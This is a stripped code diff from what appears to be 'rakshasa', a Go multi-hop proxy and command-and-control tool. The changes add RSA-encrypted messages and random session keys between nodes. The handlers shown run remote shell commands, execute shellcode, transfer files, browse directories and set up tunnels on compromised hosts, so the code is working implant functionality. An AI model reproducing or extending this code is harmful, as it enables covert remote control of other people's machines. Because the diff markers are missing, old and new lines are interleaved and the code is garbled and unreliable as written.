pool *httppool.HttpPool
remoteAddr string
remotePort string
randkey []byte
}
func (s *httpProxyClient) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[1]) {
if string(s.randkey) != string(b[1:9]) {
return
}
switch common.NetWork(b[9]) {
case common.RAW_TCP:
if b[2] != 1 {
if b[10] != 1 {
go func() { s.Close("") }()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
case common.RAW_TCP_WITH_PROXY:
if b[2] != 1 {
if b[10] != 1 {
//重新拉取一个池
s.connect()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
default:
log.Println("未处理")
log.Println("httpProxyClient 未处理")
}
case common.CMD_CONN_MSG:
@@ -165,7 +171,9 @@ func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "http",
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
if err != nil {
@@ -180,7 +188,8 @@ func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppo
if err != nil {
return nil, err
}
randkey := make([]byte, 8)
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
fmt.Println("httpproxy start ", cfg.Addr())
go func() {
for {
@@ -198,6 +207,7 @@ func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppo
server: n,
listenId: id,
pool: pool,
randkey: randkey,
}
go handleHttpProxyLocal(s)
}
@@ -354,7 +364,8 @@ func (s *httpProxyClient) connect() {
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
buf = append(buf, []byte(" "+proxy.String())...)
}
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey,buf...)))
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
@@ -377,7 +388,7 @@ func (s *httpProxyClient) Remoteclose() {
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey,buf...))
}
func init() {
@@ -454,7 +465,7 @@ func init() {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
currentNode.listenMap.Delete(uint32(id))
}
@@ -514,7 +525,6 @@ func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err err
}
}()
// method, path, proto line
req.Proto = ""
+246 -172
View File
@@ -2,6 +2,7 @@ package server
import (
"bytes"
"cert"
"crypto/tls"
"encoding/json"
"errors"
@@ -11,10 +12,8 @@ import (
"math/rand"
"net"
"os"
"rakshasa/cert"
"rakshasa/common"
"runtime"
"runtime/debug"
"strconv"
"strings"
"sync"
@@ -189,14 +188,16 @@ type node struct {
listen net.Listener
nextPingTime int64
waitMsg []*common.Msg //需要等待处理的消息
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
waitMsg []*common.Msg //需要等待处理的消息
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
isClose int32
reConnectAddrs []string //重连节点需要的信息
}
type nodeInfo struct {
UUID string
HostName string
MainIp string
Port int
Port string
Goos string
}
@@ -225,18 +226,21 @@ func connectNew(addr string) (n *node, e error) {
addrs, e := i.Addrs()
if e == nil {
for _, localAddr := range addrs {
go func() {
go func(localAddr net.Addr) {
localstr := localAddr.String()
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
conn := tls.Client(netconn, config)
select {
case connChan <- conn:
default:
if laddr!=nil{
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
conn := tls.Client(netconn, config)
select {
case connChan <- conn:
default:
}
}
}
}()
}(localAddr)
}
}
}
@@ -274,6 +278,8 @@ func connectNew(addr string) (n *node, e error) {
case err = <-c.regResult:
return nil, err
case n = <-c.regResultNode:
//连接成功
n.reConnectAddrs = []string{addr}
return n, err
case <-time.After(time.Second * 10):
return nil, errors.New("time out")
@@ -297,9 +303,7 @@ func (n *node) Write(option uint8, id uint32, b []byte) {
if common.Debug {
fmt.Println("write", msg.From, msg.To, common.CmdToName[msg.CmdOpteion], len(b))
}
if len(b) == 195 {
debug.PrintStack()
}
if n.conn != nil {
n.conn.OutChan <- b
} else {
@@ -325,9 +329,11 @@ func (n *node) do(msg *common.Msg) {
//fmt.Println(common.CmdToName[msg.CmdOpteion])
switch msg.CmdOpteion {
case common.CMD_CONNECT_BYIDADDR:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
if len(msg.CmdData) < 9 {
return
}
conn := &serverConnect{}
conn.node = n
conn.id = msg.CmdId
conn.write = make(chan *bytes.Buffer, 64)
@@ -335,9 +341,11 @@ func (n *node) do(msg *common.Msg) {
conn.windowsSize = 0
conn.wait = make(chan int)
n.connMap.Store(conn.id, conn)
addr := string(msg.CmdData[1:])
conn.randkey = make([]byte, 8)
copy(conn.randkey, msg.CmdData)
addr := string(msg.CmdData[9:])
switch common.NetWork(msg.CmdData[0]) {
switch common.NetWork(msg.CmdData[8]) {
case common.SOCKS5_CMD_CONNECT:
conn.address = addr
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
@@ -350,16 +358,18 @@ func (n *node) do(msg *common.Msg) {
case common.SOCKS5_CMD_BIND:
_l, err := net.Listen("tcp", addr)
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
data := append(conn.randkey, 0)
data = append(data, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
}
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId}
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId, randkey: conn.randkey}
n.connMap.Delete(conn.id)
l.socks5Replay = make([]byte, len(msg.CmdData))
copy(l.socks5Replay, msg.CmdData)
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
l.socks5Replay = make([]byte, len(msg.CmdData[8:]))
copy(l.socks5Replay, msg.CmdData[8:])
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
n.listenMap.Store(l.id, l)
go l.Lisen()
}
@@ -432,20 +442,22 @@ func (n *node) do(msg *common.Msg) {
return
}
n.hostName = regmsg.Hostname
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
n.goos = regmsg.Goos
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
n.port = -1
}
n.goos = cert.RSADecrypterStr(regmsg.Goos)
n.addr = n.conn.nodeConn.RemoteAddr().String()
if i := strings.Index(n.addr, ":"); i > -1 {
n.addr = n.addr[:i]
}
resultMsg := regmsg
resultMsg.UUID = currentNode.uuid
resultMsg.Hostname = currentNode.hostName
resultMsg.MainIp = currentNode.mainIp
resultMsg.Port = currentNode.port
resultMsg.Goos = currentNode.goos
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
b, _ := json.Marshal(resultMsg)
//返回成功结果
@@ -461,6 +473,8 @@ func (n *node) do(msg *common.Msg) {
}
currentNode.broadcastNode()
//把本机所有节点同步到注册机器
go n.writeGetNodeResult(msg.CmdId)
}()
case common.CMD_REG_RESULT:
var regmsg common.RegMsg
@@ -487,22 +501,26 @@ func (n *node) do(msg *common.Msg) {
l := clientLock.Lock()
n.uuid = regmsg.UUID
n.hostName = regmsg.Hostname
n.goos = regmsg.Goos
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
n.goos = cert.RSADecrypterStr(regmsg.Goos)
n.addr = n.conn.nodeConn.RemoteAddr().String()
if i := strings.Index(n.addr, ":"); i > -1 {
n.addr = n.addr[:i]
}
workconn := n.conn
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
n.port = -1
}
if v, ok := nodeMap[regmsg.UUID]; ok {
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
n.uuid = "" //清空uuid避免正常的node被删
n.conn.Close("重复注册") //当前的连接关掉
n.conn = v.conn
v.mainIp = regmsg.MainIp
v.port = regmsg.Port
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
v.port = -1
}
n = v
} else {
n.conn.node = n
@@ -523,8 +541,8 @@ func (n *node) do(msg *common.Msg) {
default:
}
//回复节点
//n.writeGetNodeResult(msg.CmdId)
//交换节点
n.writeGetNodeResult(msg.CmdId)
case common.CMD_REMOTE_REG:
@@ -543,11 +561,11 @@ func (n *node) do(msg *common.Msg) {
if err == nil {
regmsg.UUID = newNode.uuid
regmsg.Hostname = newNode.hostName
regmsg.ViaUUID = currentNode.uuid
regmsg.MainIp = newNode.mainIp
regmsg.Port = newNode.port
regmsg.Goos = newNode.goos
regmsg.Hostname = cert.RSADecrypterStr(newNode.hostName)
regmsg.ViaUUID = cert.RSADecrypterStr(currentNode.uuid)
regmsg.MainIp = cert.RSADecrypterStr(newNode.mainIp)
regmsg.Port = cert.RSADecrypterStr(strconv.Itoa(newNode.port))
regmsg.Goos = cert.RSADecrypterStr(newNode.goos)
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
@@ -579,10 +597,10 @@ func (n *node) do(msg *common.Msg) {
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
targetNode = getNewNode(nodeInfo{
UUID: regmsg.UUID,
HostName: regmsg.Hostname,
MainIp: regmsg.MainIp,
Port: regmsg.Port,
Goos: regmsg.Goos,
HostName: cert.RSADecrypterStr(regmsg.Hostname),
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
Port: cert.RSADecrypterStr(regmsg.Port),
Goos: cert.RSADecrypterStr(regmsg.Goos),
}, n)
if common.Debug {
fmt.Printf("nodeMap4 %s %p \r\n", regmsg.UUID, n)
@@ -591,10 +609,10 @@ func (n *node) do(msg *common.Msg) {
} else {
targetNode.updateNode(nodeInfo{
UUID: regmsg.UUID,
HostName: regmsg.Hostname,
MainIp: regmsg.MainIp,
Port: regmsg.Port,
Goos: regmsg.Goos,
HostName: cert.RSADecrypterStr(regmsg.Hostname),
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
Port: cert.RSADecrypterStr(regmsg.Port),
Goos: cert.RSADecrypterStr(regmsg.Goos),
})
}
v <- targetNode
@@ -603,8 +621,7 @@ func (n *node) do(msg *common.Msg) {
}
l.Unlock()
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
//n.writeGetNodeResult(msg.CmdId)
n.writeGetNodeResult(msg.CmdId)
case common.CMD_PING:
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
@@ -670,86 +687,121 @@ func (n *node) do(msg *common.Msg) {
}
case common.CMD_LISTEN:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
if len(msg.CmdData) < 8 {
return
}
randkey := make([]byte, 8)
copy(randkey, msg.CmdData)
//fmt.Println("listen", string(data[common.Headlen+4:]))
_l, err := net.Listen("tcp", string(msg.CmdData))
_l, err := net.Listen("tcp", string(msg.CmdData[8:]))
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
data := append(randkey, 0)
data = append(randkey, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
}
l := &serverListen{listen: _l, node: n, id: msg.CmdId}
l := &serverListen{listen: _l, node: n, id: msg.CmdId, randkey: randkey}
n.listenMap.Store(msg.CmdId, l)
go l.Lisen()
case common.CMD_REMOTE_SOCKS5:
cfg, err := common.ParseAddr(string(msg.CmdData))
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
if len(msg.CmdData) < 8 {
return
}
l := &serverListen{node: n, id: msg.CmdId}
randkey := make([]byte, 8)
copy(randkey, msg.CmdData)
cfg, err := common.ParseAddr(string(msg.CmdData[8:]))
if err != nil {
data := append(randkey, 0)
data = append(data, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
}
l := &serverListen{node: n, id: msg.CmdId, randkey: randkey}
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
data := append(randkey, 0)
data = append(data, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
}
n.listenMap.Store(l.id, l)
case common.CMD_LISTEN_RESULT:
if len(msg.CmdData) < 9 {
return
}
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
if c, ok := v.(*clientListen); ok {
if msg.CmdData[0] == 0 {
select {
case c.result <- errors.New(string(msg.CmdData[1:])):
default:
}
if string(c.randkey) == string(msg.CmdData[:8]) {
if msg.CmdData[8] == 0 {
select {
case c.result <- errors.New(string(msg.CmdData[9:])):
default:
}
} else {
select {
case c.result <- nil:
default:
} else {
select {
case c.result <- nil:
default:
}
}
}
}
}
case common.CMD_DELETE_LISTEN:
if len(msg.CmdData) < 8 {
return
}
if v, ok := n.listenMap.Load(msg.CmdId); ok {
switch s := v.(type) {
case *serverListen:
s.Close(remoteClose)
case *clientListen:
s.Close(remoteClose)
}
}
n.listenMap.Delete(msg.CmdId)
case common.CMD_DELETE_LISTENCONN_BYID:
deleteId := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
if v, ok := n.listenMap.Load(msg.CmdId); ok {
if s, ok := v.(*serverListen); ok {
conn, ok := s.connMap.Load(deleteId)
if ok {
conn.(*serverConnect).Close(remoteClose)
s.connMap.Delete(deleteId)
if string(s.randkey) == string(msg.CmdData[:8]) {
s.Close(remoteClose)
n.listenMap.Delete(msg.CmdId)
}
case *clientListen:
if string(s.randkey) == string(msg.CmdData[:8]) {
s.Close(remoteClose)
n.listenMap.Delete(msg.CmdId)
}
}
}
case common.CMD_DELETE_LISTENCONN_BYID:
if len(msg.CmdData) != 12 {
return
}
deleteId := uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
if v, ok := n.listenMap.Load(msg.CmdId); ok {
if s, ok := v.(*serverListen); ok {
if string(s.randkey) == string(msg.CmdData[:8]) {
conn, ok := s.connMap.Load(deleteId)
if ok {
conn.(*serverConnect).Close(remoteClose)
s.connMap.Delete(deleteId)
}
}
}
}
case common.CMD_PWD:
pwd, _ := os.Getwd()
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
if currentConfig.Password == cert.RSADecrypterByPub(string(msg.CmdData)) {
pwd, _ := os.Getwd()
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
}
case common.CMD_PWD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
@@ -768,13 +820,20 @@ func (n *node) do(msg *common.Msg) {
err = json.Unmarshal(msg.CmdData, &s)
if err == nil {
for _, _n := range s {
_n = nodeInfo{
UUID: _n.UUID,
HostName: cert.RSADecrypterStr(_n.HostName),
MainIp: cert.RSADecrypterStr(_n.MainIp),
Port: cert.RSADecrypterStr(_n.Port),
Goos: cert.RSADecrypterStr(_n.Goos),
}
if _n.UUID != currentNode.uuid {
if v, ok := nodeMap[_n.UUID]; !ok {
nodeMap[_n.UUID] = getNewNode(_n, n)
} else {
v.hostName = _n.HostName
v.mainIp = _n.MainIp
v.port = _n.Port
v.port, _ = strconv.Atoi(_n.Port)
}
}
@@ -789,12 +848,12 @@ func (n *node) do(msg *common.Msg) {
}
}
case common.CMD_GET_CURRENT_NODE:
nmsg := nodeInfo{
nmsg := &nodeInfo{
UUID: currentNode.uuid,
HostName: currentNode.hostName,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
HostName: cert.RSAEncrypterStr(currentNode.hostName),
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
Port: cert.RSAEncrypterStr(fmt.Sprint(currentNode.port)),
Goos: cert.RSAEncrypterStr(currentNode.goos),
}
b, _ := json.Marshal(nmsg)
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
@@ -817,11 +876,16 @@ func (n *node) do(msg *common.Msg) {
nodeMap[nmsg.UUID] = newNode
} else if nmsg.UUID != currentNode.uuid {
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
if err == nil {
v.port = port
} else {
v.port = -1
}
v.port = nmsg.Port
v.mainIp = nmsg.MainIp
v.hostName = nmsg.HostName
v.goos = nmsg.Goos
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
v.goos = cert.RSADecrypterStr(nmsg.Goos)
v.uuid = nmsg.UUID
if common.Debug {
fmt.Printf("nodeMap6 %s %p \r\n", nmsg.UUID, v)
@@ -832,7 +896,7 @@ func (n *node) do(msg *common.Msg) {
}
case common.CMD_DIR:
dirPth := string(msg.CmdData)
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
dir, err := ioutil.ReadDir(dirPth)
if err != nil {
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
@@ -872,7 +936,7 @@ func (n *node) do(msg *common.Msg) {
}
case common.CMD_CD:
dirPth := string(msg.CmdData)
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
s, err := os.Stat(dirPth)
if err != nil {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
@@ -899,12 +963,17 @@ func (n *node) do(msg *common.Msg) {
}
case common.CMD_CONNECT_BYID:
var l *clientListen
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
l, _ = v.(*clientListen)
}
if l == nil {
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, nil)
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
return
}
if len(msg.CmdData) < 8 || string(l.randkey) != string(msg.CmdData[:8]) {
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
return
}
//l := clientLock.Lock()
@@ -912,17 +981,16 @@ func (n *node) do(msg *common.Msg) {
//l.Unlock()
conn, err := net.Dial("tcp", l.localAddr)
if err != nil {
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, msg.CmdData)
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, append(l.randkey, msg.CmdData...))
return
}
client := &clientConnect{}
client.id = uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
client.id = uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
client.server = l.server
client.listenId = msg.CmdId
client.conn = conn
client.OnOpened()
client.randkey = append([]byte{}, l.randkey...)
l.connMap.Store(client.id, client)
l.server.connMap.Store(client.id, client)
go rawHandleLocal(client)
@@ -954,6 +1022,7 @@ func (n *node) do(msg *common.Msg) {
}
}
case common.CMD_UPLOAD:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
i := bytes.IndexByte(msg.CmdData, 0)
if i == -1 {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
@@ -1006,6 +1075,7 @@ func (n *node) do(msg *common.Msg) {
}
case common.CMD_DOWNLOAD:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
i := bytes.IndexByte(msg.CmdData, 0)
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
@@ -1067,7 +1137,7 @@ func (n *node) do(msg *common.Msg) {
}
case common.CMD_SHELL:
var param StartCmdParam
if err = json.Unmarshal(msg.CmdData, &param); err != nil {
if err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
if err := startCMD(n, msg.CmdId, param); err != nil {
@@ -1104,8 +1174,7 @@ func (n *node) do(msg *common.Msg) {
case common.CMD_RUN_SHELLCODE:
go func() {
var s ShellCodeStruct
err = json.Unmarshal(msg.CmdData, &s)
err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
}
@@ -1142,9 +1211,9 @@ func (n *node) remoteReg(addr string) (newN *node, err error) {
regmsg := common.RegMsg{
RegAddr: addr,
UUID: currentNode.uuid,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
Goos: cert.RSAEncrypterStr(currentNode.goos),
}
regmsg.Hostname, _ = os.Hostname()
b, _ := json.Marshal(regmsg)
@@ -1175,13 +1244,14 @@ func (n *node) Close(reason string) {
n.Delete(reason)
}
func getNewNode(m nodeInfo, n *node) *node {
port, _ := strconv.Atoi(m.Port)
newNode := &node{
uuid: m.UUID,
hostName: m.HostName,
conn: n.conn,
pongTime: time.Now().Unix(),
mainIp: m.MainIp,
port: m.Port,
port: port,
goos: m.Goos,
}
@@ -1283,54 +1353,57 @@ func (n *node) ping(id uint32) {
}
func (n *node) Delete(reason string) {
go func() {
l := clientLock.Lock()
_, ok := nodeMap[n.uuid]
if ok {
delete(nodeMap, n.uuid)
}
l.Unlock()
n.connMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
l := clientLock.Lock()
_, ok := nodeMap[n.uuid]
if ok {
delete(nodeMap, n.uuid)
}
n.connMap.Delete(key)
return true
})
n.udpConnMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.udpConnMap.Delete(key)
return true
})
n.listenMap.Range(func(key, value interface{}) bool {
l.Unlock()
n.connMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.connMap.Delete(key)
return true
})
n.udpConnMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.udpConnMap.Delete(key)
return true
})
n.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*serverListen); ok {
v.listen.Close()
}
n.listenMap.Delete(key)
return true
})
n.shellMap.Range(func(key, value interface{}) bool {
v := value.(*remoteCmd)
if v.cmd != nil {
v.cmd.Process.Kill()
}
n.shellMap.Delete(key)
return true
})
}
if v, ok := value.(*serverListen); ok {
v.listen.Close()
}
n.listenMap.Delete(key)
return true
})
n.shellMap.Range(func(key, value interface{}) bool {
v := value.(*remoteCmd)
if v.cmd != nil {
v.cmd.Process.Kill()
}
n.shellMap.Delete(key)
return true
})
}()
}
func (n *node) broadcastNode() {
//广播新增节点
nmsg := nodeInfo{
nmsg := &nodeInfo{
UUID: n.uuid,
HostName: n.hostName,
MainIp: n.mainIp,
Port: n.port,
Goos: n.goos,
HostName: cert.RSAEncrypterStr(n.hostName),
MainIp: cert.RSAEncrypterStr(n.mainIp),
Port: cert.RSAEncrypterStr(fmt.Sprint(n.port)),
Goos: cert.RSAEncrypterStr(n.goos),
}
b, _ := json.Marshal(nmsg)
@@ -1358,19 +1431,20 @@ func GetNodeFromAddrs(dst []string) (n *node, err error) {
if n, err = getNode(dst[0]); err != nil {
return
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
for i := 1; i < len(dst); i++ {
n, err = n.remoteReg(dst[i])
if err != nil {
return nil, fmt.Errorf("%s,%v", dst[i], err)
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
}
if n == nil {
return nil, fmt.Errorf("无法连接 %v", dst)
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
n.reConnectAddrs = make([]string, len(dst))
copy(n.reConnectAddrs, dst)
return
}
@@ -1415,16 +1489,16 @@ func (n *node) writeGetNodeResult(id uint32) {
defer l.RUnlock()
var s []nodeInfo
var s []*nodeInfo
for _, _n := range nodeMap {
if _n.uuid != currentNode.uuid {
s = append(s, nodeInfo{
s = append(s, &nodeInfo{
UUID: _n.uuid,
HostName: _n.hostName,
MainIp: _n.mainIp,
Port: _n.port,
Goos: _n.goos,
HostName: cert.RSAEncrypterStr(_n.hostName),
MainIp: cert.RSAEncrypterStr(_n.mainIp),
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
Goos: cert.RSAEncrypterStr(_n.goos),
})
}
@@ -1436,6 +1510,6 @@ func (n *node) writeGetNodeResult(id uint32) {
func (n *node) updateNode(msg nodeInfo) {
n.hostName = msg.HostName
n.mainIp = msg.MainIp
n.port = msg.Port
n.port, _ = strconv.Atoi(msg.Port)
n.goos = msg.Goos
}
+22 -7
View File
@@ -1,10 +1,13 @@
package server
import (
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"math/rand"
"net"
"cert"
"rakshasa/common"
"strconv"
"strings"
@@ -31,6 +34,7 @@ type clientListen struct {
connMap sync.Map //clientListen关闭的时候关掉这里的id
listen net.Listener
result chan interface{}
randkey []byte //随机key int64
}
func StartRawBind(str string, dst []string) error {
@@ -57,8 +61,10 @@ func StartRawBind(str string, dst []string) error {
typ: "bind",
result: make(chan interface{}),
openOption: common.CMD_LISTEN,
randkey: make([]byte, 8),
}
l.openMsg = []byte(addrs[1])
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.openMsg =cert.RSAEncrypterByPrivByte(append(l.randkey,[]byte(addrs[1])...))
currentNode.listenMap.Store(l.id, l)
n.Write(l.openOption, l.id, l.openMsg)
select {
@@ -101,7 +107,9 @@ func StartRawConnect(str string, n *node) error {
listen: listen,
server: n,
typ: "connect",
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
currentNode.listenMap.Store(l.id, l)
go func() {
@@ -117,10 +125,17 @@ func StartRawConnect(str string, n *node) error {
s := &clientConnect{
conn: conn,
server: n,
randkey: l.randkey,
}
s.OnOpened()
s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port))
go rawHandleLocal(s)
if s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) {
go rawHandleLocal(s)
} else {
s.Close(nodeIsClose)
if common.Debug {
fmt.Println("Connect连接失败,远程节点已关闭")
}
}
}
}()
@@ -169,7 +184,7 @@ func rawHandleLocal(s *clientConnect) {
}
data := make([]byte, 8+n)
copy(data, buf)
s.server.Write(common.CMD_CONN_MSG, s.id, buf)
s.server.Write(common.CMD_CONN_MSG, s.id, buf[:8+n])
}
}
func init() {
@@ -230,7 +245,7 @@ func init() {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
currentNode.listenMap.Delete(uint32(id))
}
@@ -244,7 +259,7 @@ func init() {
bindshell.Run()
},
})
connectshell := ishell.New()
connectshell := cliInit()
connectshell.SetPrompt("rakshasa\\connect>")
connectshell.AddCmd(&ishell.Cmd{
Name: "list",
@@ -308,7 +323,7 @@ func init() {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
currentNode.listenMap.Delete(uint32(id))
}
+3 -3
View File
